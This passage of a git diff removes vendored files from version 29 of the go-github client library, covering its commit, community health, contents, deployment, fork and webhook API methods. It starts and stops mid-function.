s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var commits []*RepositoryCommit - resp, err := s.client.Do(ctx, req, &commits) - if err != nil { - return nil, resp, err - } - - return commits, resp, nil -} - -// GetCommit fetches the specified commit, including all details about it. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#get-a-single-commit -// See also: https://developer.github.com/v3/git/commits/#get-a-single-commit provides the same functionality -func (s *RepositoriesService) GetCommit(ctx context.Context, owner, repo, sha string) (*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v", owner, repo, sha) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - commit := new(RepositoryCommit) - resp, err := s.client.Do(ctx, req, commit) - if err != nil { - return nil, resp, err - } - - return commit, resp, nil -} - -// GetCommitRaw fetches the specified commit in raw (diff or patch) format. -func (s *RepositoriesService) GetCommitRaw(ctx context.Context, owner string, repo string, sha string, opt RawOptions) (string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - - switch opt.Type { - case Diff: - req.Header.Set("Accept", mediaTypeV3Diff) - case Patch: - req.Header.Set("Accept", mediaTypeV3Patch) - default: - return "", nil, fmt.Errorf("unsupported raw type %d", opt.Type) - } - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// GetCommitSHA1 gets the SHA-1 of a commit reference. If a last-known SHA1 is -// supplied and no new commits have occurred, a 304 Unmodified response is returned. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#get-the-sha-1-of-a-commit-reference -func (s *RepositoriesService) GetCommitSHA1(ctx context.Context, owner, repo, ref, lastSHA string) (string, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v", owner, repo, url.QueryEscape(ref)) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return "", nil, err - } - if lastSHA != "" { - req.Header.Set("If-None-Match", `"`+lastSHA+`"`) - } - - req.Header.Set("Accept", mediaTypeV3SHA) - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - if err != nil { - return "", resp, err - } - - return buf.String(), resp, nil -} - -// CompareCommits compares a range of commits with each other. -// todo: support media formats - https://github.com/google/go-github/issues/6 -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#compare-two-commits -func (s *RepositoriesService) CompareCommits(ctx context.Context, owner, repo string, base, head string) (*CommitsComparison, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/compare/%v...%v", owner, repo, base, head) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - comp := new(CommitsComparison) - resp, err := s.client.Do(ctx, req, comp) - if err != nil { - return nil, resp, err - } - - return comp, resp, nil -} - -// ListBranchesHeadCommit gets all branches where the given commit SHA is the HEAD, -// or latest commit for the branch. -// -// GitHub API docs: https://developer.github.com/v3/repos/commits/#list-branches-for-head-commit -func (s *RepositoriesService) ListBranchesHeadCommit(ctx context.Context, owner, repo, sha string) ([]*BranchCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/branches-where-head", owner, repo, sha) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeListPullsOrBranchesForCommitPreview) - var branchCommits []*BranchCommit - resp, err := s.client.Do(ctx, req, &branchCommits) - if err != nil { - return nil, resp, err - } - - return branchCommits, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_community_health.go b/vendor/github.com/google/go-github/v29/github/repos_community_health.go deleted file mode 100644 index 73d1d573bf..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_community_health.go +++ /dev/null @@ -1,59 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// Metric represents the different fields for one file in community health files. -type Metric struct { - Name *string `json:"name"` - Key *string `json:"key"` - URL *string `json:"url"` - HTMLURL *string `json:"html_url"` -} - -// CommunityHealthFiles represents the different files in the community health metrics response. -type CommunityHealthFiles struct { - CodeOfConduct *Metric `json:"code_of_conduct"` - Contributing *Metric `json:"contributing"` - IssueTemplate *Metric `json:"issue_template"` - PullRequestTemplate *Metric `json:"pull_request_template"` - License *Metric `json:"license"` - Readme *Metric `json:"readme"` -} - -// CommunityHealthMetrics represents a response containing the community metrics of a repository. -type CommunityHealthMetrics struct { - HealthPercentage *int `json:"health_percentage"` - Files *CommunityHealthFiles `json:"files"` - UpdatedAt *time.Time `json:"updated_at"` -} - -// GetCommunityHealthMetrics retrieves all the community health metrics for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/community/#retrieve-community-health-metrics -func (s *RepositoriesService) GetCommunityHealthMetrics(ctx context.Context, owner, repo string) (*CommunityHealthMetrics, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/community/profile", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeRepositoryCommunityHealthMetricsPreview) - - metrics := &CommunityHealthMetrics{} - resp, err := s.client.Do(ctx, req, metrics) - if err != nil { - return nil, resp, err - } - - return metrics, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_contents.go b/vendor/github.com/google/go-github/v29/github/repos_contents.go deleted file mode 100644 index eed0420ab8..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_contents.go +++ /dev/null @@ -1,284 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Repository contents API methods. -// GitHub API docs: https://developer.github.com/v3/repos/contents/ - -package github - -import ( - "context" - "encoding/base64" - "encoding/json" - "fmt" - "io" - "net/http" - "net/url" - "path" -) - -// RepositoryContent represents a file or directory in a github repository. -type RepositoryContent struct { - Type *string `json:"type,omitempty"` - // Target is only set if the type is "symlink" and the target is not a normal file. - // If Target is set, Path will be the symlink path. - Target *string `json:"target,omitempty"` - Encoding *string `json:"encoding,omitempty"` - Size *int `json:"size,omitempty"` - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - // Content contains the actual file content, which may be encoded. - // Callers should call GetContent which will decode the content if - // necessary. - Content *string `json:"content,omitempty"` - SHA *string `json:"sha,omitempty"` - URL *string `json:"url,omitempty"` - GitURL *string `json:"git_url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - DownloadURL *string `json:"download_url,omitempty"` -} - -// RepositoryContentResponse holds the parsed response from CreateFile, UpdateFile, and DeleteFile. -type RepositoryContentResponse struct { - Content *RepositoryContent `json:"content,omitempty"` - Commit `json:"commit,omitempty"` -} - -// RepositoryContentFileOptions specifies optional parameters for CreateFile, UpdateFile, and DeleteFile. -type RepositoryContentFileOptions struct { - Message *string `json:"message,omitempty"` - Content []byte `json:"content,omitempty"` // unencoded - SHA *string `json:"sha,omitempty"` - Branch *string `json:"branch,omitempty"` - Author *CommitAuthor `json:"author,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` -} - -// RepositoryContentGetOptions represents an optional ref parameter, which can be a SHA, -// branch, or tag -type RepositoryContentGetOptions struct { - Ref string `url:"ref,omitempty"` -} - -// String converts RepositoryContent to a string. It's primarily for testing. -func (r RepositoryContent) String() string { - return Stringify(r) -} - -// GetContent returns the content of r, decoding it if necessary. -func (r *RepositoryContent) GetContent() (string, error) { - var encoding string - if r.Encoding != nil { - encoding = *r.Encoding - } - - switch encoding { - case "base64": - c, err := base64.StdEncoding.DecodeString(*r.Content) - return string(c), err - case "": - if r.Content == nil { - return "", nil - } - return *r.Content, nil - default: - return "", fmt.Errorf("unsupported content encoding: %v", encoding) - } -} - -// GetReadme gets the Readme file for the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#get-the-readme -func (s *RepositoriesService) GetReadme(ctx context.Context, owner, repo string, opt *RepositoryContentGetOptions) (*RepositoryContent, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/readme", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - readme := new(RepositoryContent) - resp, err := s.client.Do(ctx, req, readme) - if err != nil { - return nil, resp, err - } - return readme, resp, nil -} - -// DownloadContents returns an io.ReadCloser that reads the contents of the -// specified file. This function will work with files of any size, as opposed -// to GetContents which is limited to 1 Mb files. It is the caller's -// responsibility to close the ReadCloser. -func (s *RepositoriesService) DownloadContents(ctx context.Context, owner, repo, filepath string, opt *RepositoryContentGetOptions) (io.ReadCloser, error) { - dir := path.Dir(filepath) - filename := path.Base(filepath) - _, dirContents, _, err := s.GetContents(ctx, owner, repo, dir, opt) - if err != nil { - return nil, err - } - for _, contents := range dirContents { - if *contents.Name == filename { - if contents.DownloadURL == nil || *contents.DownloadURL == "" { - return nil, fmt.Errorf("No download link found for %s", filepath) - } - resp, err := s.client.client.Get(*contents.DownloadURL) - if err != nil { - return nil, err - } - return resp.Body, nil - } - } - return nil, fmt.Errorf("No file named %s found in %s", filename, dir) -} - -// GetContents can return either the metadata and content of a single file -// (when path references a file) or the metadata of all the files and/or -// subdirectories of a directory (when path references a directory). To make it -// easy to distinguish between both result types and to mimic the API as much -// as possible, both result types will be returned but only one will contain a -// value and the other will be nil. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#get-contents -func (s *RepositoriesService) GetContents(ctx context.Context, owner, repo, path string, opt *RepositoryContentGetOptions) (fileContent *RepositoryContent, directoryContent []*RepositoryContent, resp *Response, err error) { - escapedPath := (&url.URL{Path: path}).String() - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, escapedPath) - u, err = addOptions(u, opt) - if err != nil { - return nil, nil, nil, err - } - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, nil, err - } - var rawJSON json.RawMessage - resp, err = s.client.Do(ctx, req, &rawJSON) - if err != nil { - return nil, nil, resp, err - } - fileUnmarshalError := json.Unmarshal(rawJSON, &fileContent) - if fileUnmarshalError == nil { - return fileContent, nil, resp, nil - } - directoryUnmarshalError := json.Unmarshal(rawJSON, &directoryContent) - if directoryUnmarshalError == nil { - return nil, directoryContent, resp, nil - } - return nil, nil, resp, fmt.Errorf("unmarshalling failed for both file and directory content: %s and %s", fileUnmarshalError, directoryUnmarshalError) -} - -// CreateFile creates a new file in a repository at the given path and returns -// the commit and file metadata. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#create-a-file -func (s *RepositoriesService) CreateFile(ctx context.Context, owner, repo, path string, opt *RepositoryContentFileOptions) (*RepositoryContentResponse, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, path) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, nil, err - } - createResponse := new(RepositoryContentResponse) - resp, err := s.client.Do(ctx, req, createResponse) - if err != nil { - return nil, resp, err - } - return createResponse, resp, nil -} - -// UpdateFile updates a file in a repository at the given path and returns the -// commit and file metadata. Requires the blob SHA of the file being updated. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#update-a-file -func (s *RepositoriesService) UpdateFile(ctx context.Context, owner, repo, path string, opt *RepositoryContentFileOptions) (*RepositoryContentResponse, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, path) - req, err := s.client.NewRequest("PUT", u, opt) - if err != nil { - return nil, nil, err - } - updateResponse := new(RepositoryContentResponse) - resp, err := s.client.Do(ctx, req, updateResponse) - if err != nil { - return nil, resp, err - } - return updateResponse, resp, nil -} - -// DeleteFile deletes a file from a repository and returns the commit. -// Requires the blob SHA of the file to be deleted. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#delete-a-file -func (s *RepositoriesService) DeleteFile(ctx context.Context, owner, repo, path string, opt *RepositoryContentFileOptions) (*RepositoryContentResponse, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/contents/%s", owner, repo, path) - req, err := s.client.NewRequest("DELETE", u, opt) - if err != nil { - return nil, nil, err - } - deleteResponse := new(RepositoryContentResponse) - resp, err := s.client.Do(ctx, req, deleteResponse) - if err != nil { - return nil, resp, err - } - return deleteResponse, resp, nil -} - -// archiveFormat is used to define the archive type when calling GetArchiveLink. -type archiveFormat string - -const ( - // Tarball specifies an archive in gzipped tar format. - Tarball archiveFormat = "tarball" - - // Zipball specifies an archive in zip format. - Zipball archiveFormat = "zipball" -) - -// GetArchiveLink returns an URL to download a tarball or zipball archive for a -// repository. The archiveFormat can be specified by either the github.Tarball -// or github.Zipball constant. -// -// GitHub API docs: https://developer.github.com/v3/repos/contents/#get-archive-link -func (s *RepositoriesService) GetArchiveLink(ctx context.Context, owner, repo string, archiveformat archiveFormat, opt *RepositoryContentGetOptions, followRedirects bool) (*url.URL, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/%s", owner, repo, archiveformat) - if opt != nil && opt.Ref != "" { - u += fmt.Sprintf("/%s", opt.Ref) - } - resp, err := s.getArchiveLinkFromURL(ctx, u, followRedirects) - if err != nil { - return nil, nil, err - } - if resp.StatusCode != http.StatusFound { - return nil, newResponse(resp), fmt.Errorf("unexpected status code: %s", resp.Status) - } - parsedURL, err := url.Parse(resp.Header.Get("Location")) - return parsedURL, newResponse(resp), err -} - -func (s *RepositoriesService) getArchiveLinkFromURL(ctx context.Context, u string, followRedirects bool) (*http.Response, error) { - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, err - } - - var resp *http.Response - // Use http.DefaultTransport if no custom Transport is configured - req = withContext(ctx, req) - if s.client.client.Transport == nil { - resp, err = http.DefaultTransport.RoundTrip(req) - } else { - resp, err = s.client.client.Transport.RoundTrip(req) - } - if err != nil { - return nil, err - } - resp.Body.Close() - - // If redirect response is returned, follow it - if followRedirects && resp.StatusCode == http.StatusMovedPermanently { - u = resp.Header.Get("Location") - resp, err = s.getArchiveLinkFromURL(ctx, u, false) - } - return resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_deployments.go b/vendor/github.com/google/go-github/v29/github/repos_deployments.go deleted file mode 100644 index 6453345e04..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_deployments.go +++ /dev/null @@ -1,229 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "fmt" - "strings" -) - -// Deployment represents a deployment in a repo -type Deployment struct { - URL *string `json:"url,omitempty"` - ID *int64 `json:"id,omitempty"` - SHA *string `json:"sha,omitempty"` - Ref *string `json:"ref,omitempty"` - Task *string `json:"task,omitempty"` - Payload json.RawMessage `json:"payload,omitempty"` - Environment *string `json:"environment,omitempty"` - Description *string `json:"description,omitempty"` - Creator *User `json:"creator,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - StatusesURL *string `json:"statuses_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// DeploymentRequest represents a deployment request -type DeploymentRequest struct { - Ref *string `json:"ref,omitempty"` - Task *string `json:"task,omitempty"` - AutoMerge *bool `json:"auto_merge,omitempty"` - RequiredContexts *[]string `json:"required_contexts,omitempty"` - Payload interface{} `json:"payload,omitempty"` - Environment *string `json:"environment,omitempty"` - Description *string `json:"description,omitempty"` - TransientEnvironment *bool `json:"transient_environment,omitempty"` - ProductionEnvironment *bool `json:"production_environment,omitempty"` -} - -// DeploymentsListOptions specifies the optional parameters to the -// RepositoriesService.ListDeployments method. -type DeploymentsListOptions struct { - // SHA of the Deployment. - SHA string `url:"sha,omitempty"` - - // List deployments for a given ref. - Ref string `url:"ref,omitempty"` - - // List deployments for a given task. - Task string `url:"task,omitempty"` - - // List deployments for a given environment. - Environment string `url:"environment,omitempty"` - - ListOptions -} - -// ListDeployments lists the deployments of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#list-deployments -func (s *RepositoriesService) ListDeployments(ctx context.Context, owner, repo string, opt *DeploymentsListOptions) ([]*Deployment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var deployments []*Deployment - resp, err := s.client.Do(ctx, req, &deployments) - if err != nil { - return nil, resp, err - } - - return deployments, resp, nil -} - -// GetDeployment returns a single deployment of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#get-a-single-deployment -func (s *RepositoriesService) GetDeployment(ctx context.Context, owner, repo string, deploymentID int64) (*Deployment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v", owner, repo, deploymentID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - deployment := new(Deployment) - resp, err := s.client.Do(ctx, req, deployment) - if err != nil { - return nil, resp, err - } - - return deployment, resp, nil -} - -// CreateDeployment creates a new deployment for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#create-a-deployment -func (s *RepositoriesService) CreateDeployment(ctx context.Context, owner, repo string, request *DeploymentRequest) (*Deployment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments", owner, repo) - - req, err := s.client.NewRequest("POST", u, request) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeDeploymentStatusPreview, mediaTypeExpandDeploymentStatusPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - d := new(Deployment) - resp, err := s.client.Do(ctx, req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, nil -} - -// DeploymentStatus represents the status of a -// particular deployment. -type DeploymentStatus struct { - ID *int64 `json:"id,omitempty"` - // State is the deployment state. - // Possible values are: "pending", "success", "failure", "error", "inactive". - State *string `json:"state,omitempty"` - Creator *User `json:"creator,omitempty"` - Description *string `json:"description,omitempty"` - TargetURL *string `json:"target_url,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - DeploymentURL *string `json:"deployment_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// DeploymentStatusRequest represents a deployment request -type DeploymentStatusRequest struct { - State *string `json:"state,omitempty"` - LogURL *string `json:"log_url,omitempty"` - Description *string `json:"description,omitempty"` - Environment *string `json:"environment,omitempty"` - EnvironmentURL *string `json:"environment_url,omitempty"` - AutoInactive *bool `json:"auto_inactive,omitempty"` -} - -// ListDeploymentStatuses lists the statuses of a given deployment of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#list-deployment-statuses -func (s *RepositoriesService) ListDeploymentStatuses(ctx context.Context, owner, repo string, deployment int64, opt *ListOptions) ([]*DeploymentStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v/statuses", owner, repo, deployment) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var statuses []*DeploymentStatus - resp, err := s.client.Do(ctx, req, &statuses) - if err != nil { - return nil, resp, err - } - - return statuses, resp, nil -} - -// GetDeploymentStatus returns a single deployment status of a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#get-a-single-deployment-status -func (s *RepositoriesService) GetDeploymentStatus(ctx context.Context, owner, repo string, deploymentID, deploymentStatusID int64) (*DeploymentStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v/statuses/%v", owner, repo, deploymentID, deploymentStatusID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeDeploymentStatusPreview, mediaTypeExpandDeploymentStatusPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - d := new(DeploymentStatus) - resp, err := s.client.Do(ctx, req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, nil -} - -// CreateDeploymentStatus creates a new status for a deployment. -// -// GitHub API docs: https://developer.github.com/v3/repos/deployments/#create-a-deployment-status -func (s *RepositoriesService) CreateDeploymentStatus(ctx context.Context, owner, repo string, deployment int64, request *DeploymentStatusRequest) (*DeploymentStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/deployments/%v/statuses", owner, repo, deployment) - - req, err := s.client.NewRequest("POST", u, request) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - acceptHeaders := []string{mediaTypeDeploymentStatusPreview, mediaTypeExpandDeploymentStatusPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - d := new(DeploymentStatus) - resp, err := s.client.Do(ctx, req, d) - if err != nil { - return nil, resp, err - } - - return d, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_forks.go b/vendor/github.com/google/go-github/v29/github/repos_forks.go deleted file mode 100644 index bfff27bb95..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_forks.go +++ /dev/null @@ -1,96 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - - "encoding/json" -) - -// RepositoryListForksOptions specifies the optional parameters to the -// RepositoriesService.ListForks method. -type RepositoryListForksOptions struct { - // How to sort the forks list. Possible values are: newest, oldest, - // watchers. Default is "newest". - Sort string `url:"sort,omitempty"` - - ListOptions -} - -// ListForks lists the forks of the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/forks/#list-forks -func (s *RepositoriesService) ListForks(ctx context.Context, owner, repo string, opt *RepositoryListForksOptions) ([]*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/forks", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when topics API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - - var repos []*Repository - resp, err := s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// RepositoryCreateForkOptions specifies the optional parameters to the -// RepositoriesService.CreateFork method. -type RepositoryCreateForkOptions struct { - // The organization to fork the repository into. - Organization string `url:"organization,omitempty"` -} - -// CreateFork creates a fork of the specified repository. -// -// This method might return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing creating the fork in a background task. In this event, -// the Repository value will be returned, which includes the details about the pending fork. -// A follow up request, after a delay of a second or so, should result -// in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/forks/#create-a-fork -func (s *RepositoriesService) CreateFork(ctx context.Context, owner, repo string, opt *RepositoryCreateForkOptions) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/forks", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - fork := new(Repository) - resp, err := s.client.Do(ctx, req, fork) - if err != nil { - // Persist AcceptedError's metadata to the Repository object. - if aerr, ok := err.(*AcceptedError); ok { - if err := json.Unmarshal(aerr.Raw, fork); err != nil { - return fork, resp, err - } - - return fork, resp, err - } - return nil, resp, err - } - - return fork, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_hooks.go b/vendor/github.com/google/go-github/v29/github/repos_hooks.go deleted file mode 100644 index 7674947df3..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_hooks.go +++ /dev/null @@ -1,226 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// WebHookPayload represents the data that is received from GitHub when a push -// event hook is triggered. The format of these payloads pre-date most of the -// GitHub v3 API, so there are lots of minor incompatibilities with the types -// defined in the rest of the API. Therefore, several types are duplicated -// here to account for these differences. -// -// GitHub API docs: https://help.github.com/articles/post-receive-hooks -type WebHookPayload struct { - After *string `json:"after,omitempty"` - Before *string `json:"before,omitempty"` - Commits []WebHookCommit `json:"commits,omitempty"` - Compare *string `json:"compare,omitempty"` - Created *bool `json:"created,omitempty"` - Deleted *bool `json:"deleted,omitempty"` - Forced *bool `json:"forced,omitempty"` - HeadCommit *WebHookCommit `json:"head_commit,omitempty"` - Pusher *User `json:"pusher,omitempty"` - Ref *string `json:"ref,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` -} - -func (w WebHookPayload) String() string { - return Stringify(w) -} - -// WebHookCommit represents the commit variant we receive from GitHub in a -// WebHookPayload. -type WebHookCommit struct { - Added []string `json:"added,omitempty"` - Author *WebHookAuthor `json:"author,omitempty"` - Committer *WebHookAuthor `json:"committer,omitempty"` - Distinct *bool `json:"distinct,omitempty"` - ID *string `json:"id,omitempty"` - Message *string `json:"message,omitempty"` - Modified []string `json:"modified,omitempty"` - Removed []string `json:"removed,omitempty"` - Timestamp *time.Time `json:"timestamp,omitempty"` -} - -func (w WebHookCommit) String() string { - return Stringify(w) -} - -// WebHookAuthor represents the author or committer of a commit, as specified -// in a WebHookCommit. The commit author may not correspond to a GitHub User. -type WebHookAuthor struct { - Email *string `json:"email,omitempty"` - Name *string `json:"name,omitempty"` - Username *string `json:"username,omitempty"` -} - -func (w WebHookAuthor) String() string { - return Stringify(w) -} - -// Hook represents a GitHub (web and service) hook for a repository. -type Hook struct { - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - ID *int64 `json:"id,omitempty"` - - // Only the following fields are used when creating a hook. - // Config is required. - Config map[string]interface{} `json:"config,omitempty"` - Events []string `json:"events,omitempty"` - Active *bool `json:"active,omitempty"` -} - -func (h Hook) String() string { - return Stringify(h) -} - -// createHookRequest is a subset of Hook and is used internally -// by CreateHook to pass only the known fields for the endpoint. -// -// See https://github.com/google/go-github/issues/1015 for more -// information. -type createHookRequest struct { - // Config is required. - Name string `json:"name"` - Config map[string]interface{} `json:"config,omitempty"` - Events []string `json:"events,omitempty"` - Active *bool `json:"active,omitempty"` -} - -// CreateHook creates a Hook for the specified repository. -// Config is a required field. -// -// Note that only a subset of the hook fields are used and hook must -// not be nil. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#create-a-hook -func (s *RepositoriesService) CreateHook(ctx context.Context, owner, repo string, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks", owner, repo) - - hookReq := &createHookRequest{ - Name: "web", - Events: hook.Events, - Active: hook.Active, - Config: hook.Config, - } - - req, err := s.client.NewRequest("POST", u, hookReq) - if err != nil { - return nil, nil, err - } - - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// ListHooks lists all Hooks for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#list -func (s *RepositoriesService) ListHooks(ctx context.Context, owner, repo string, opt *ListOptions) ([]*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var hooks []*Hook - resp, err := s.client.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} - -// GetHook returns a single specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#get-single-hook -func (s *RepositoriesService) GetHook(ctx context.Context, owner, repo string, id int64) (*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// EditHook updates a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#edit-a-hook -func (s *RepositoriesService) EditHook(ctx context.Context, owner, repo string, id int64, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, hook) - if err != nil { - return nil, nil, err - } - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// DeleteHook deletes a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#delete-a-hook -func (s *RepositoriesService) DeleteHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// PingHook triggers a 'ping' event to be sent to the Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#ping-a-hook -func (s *RepositoriesService) PingHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d/pings", owner, repo, id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - return 